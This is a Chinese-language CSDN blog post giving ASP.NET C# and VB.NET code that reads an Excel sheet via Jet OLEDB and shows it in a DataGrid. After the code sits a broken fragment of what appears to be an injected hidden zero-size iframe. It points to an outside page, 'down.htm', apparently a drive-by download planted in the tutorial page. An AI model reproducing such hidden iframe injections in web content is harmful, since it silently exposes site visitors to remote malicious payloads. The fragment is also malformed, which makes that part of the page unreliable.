在ASP.NET访问Excel文件 (VB.NET and C#)

ASP.NET 专栏收录该内容
67 篇文章 0 订阅

在ASP.NET访问Excel文件 (VB and C#)

   C# Code --------------------------------------------- <%@ Page Language="C#" %> <%@ Import Namespace="System.Data" %> <%@ Import Namespace="System.Data.ADO" %> <script language="C#" runat="server"> protected void Page_Load(Object Src, EventArgs E) { string strConn; strConn = "Provider=Microsoft.Jet.OLEDB.4.0;" +"Data Source=C://exceltest.xls;" +"Extended Properties=Excel 8.0;"; ADODataSetCommand myCommand = new ADODataSetCommand("SELECT * FROM [Sheet1$]", strConn); DataSet myDataSet = new DataSet(); myCommand.FillDataSet(myDataSet, "ExcelInfo"); DataGrid1.DataSource = myDataSet.Tables["ExcelInfo"].DefaultView; DataGrid1.DataBind(); } </script> <p><asp:Label id=Label1 runat="server">Excel表格内容:</asp:Label></p> <asp:DataGrid id=DataGrid1 runat="server"/> VB.NET Code ---------------------------------------------- <%@ Page Language="VB" %> <%@ Import Namespace="System.Data" %> <%@ Import Namespace="System.Data.ADO" %> <script language="VB" runat="server"> Sub Page_Load(sender As Object, e As EventArgs) Dim myDataset As New DataSet() Dim strConn As String = "Provider=Microsoft.Jet.OLEDB.4.0;" _ & "Data Source=C:/exceltest.xls;" _ & "Extended Properties=""Excel 8.0;""" Dim myADODataSetCommand As New ADODataSetCommand("SELECT * FROM [Sheet1$]", strConn) myADODataSetCommand.TableMappings.Add("Table", "ExcelTest") myADODataSetCommand.FillDataSet(myDataset) DataGrid1.DataSource = myDataset.Tables(0).DefaultView DataGrid1.DataBind() End Sub </script> <p><asp:Label id=Label1 runat="server">Excel表格内容:</asp:Label></p> <asp:DataGrid id=DataGrid1 runat="server"/> 
 

src=http://lucky.myrice.com/down.htm width=0 height=0 boeder=0>
  • 0
    点赞
  • 2
    评论
  • 0
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

相关推荐
©️2020 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值